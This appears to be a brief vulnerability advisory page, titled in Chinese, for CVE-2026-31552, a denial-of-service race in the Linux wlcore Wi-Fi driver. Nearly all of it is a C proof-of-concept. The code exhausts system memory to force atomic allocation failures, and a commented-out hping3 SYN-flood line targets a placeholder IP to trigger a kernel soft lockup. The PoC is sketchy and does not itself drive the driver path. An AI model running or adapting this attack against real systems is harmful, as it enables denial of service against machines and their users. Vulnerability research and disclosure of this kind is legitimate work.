CVE-2026-31552: Linux内核wlcore驱动拒绝服务漏洞

/* * PoC Concept for CVE-2026-31552 * This script attempts to exhaust memory and trigger network traffic * on a system using the wlcore driver to provoke the race condition. * Requires specific hardware (TI wlcore wifi) to be effective. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> void consume_memory() { size_t block_size = 1024 * 1024; // 1MB void *ptr; printf("[*] Consuming memory to trigger GFP_ATOMIC failures...\n"); while (1) { ptr = malloc(block_size); if (ptr == NULL) break; memset(ptr, 0, block_size); } printf("[*] Memory pressure applied.\n"); } int main() { // Step 1: Consume memory to make pskb_expand_head likely to fail consume_memory(); // Step 2: Normally one would flood the WiFi interface here. // e.g., using a packet generator like hping3 or custom raw sockets. printf("[*] Triggering network transmission loop...\n"); // system("hping3 -i u1000 -S <target_ip>"); // Example printf("[*] If vulnerable, the kernel should soft lockup now.\n"); return 0; }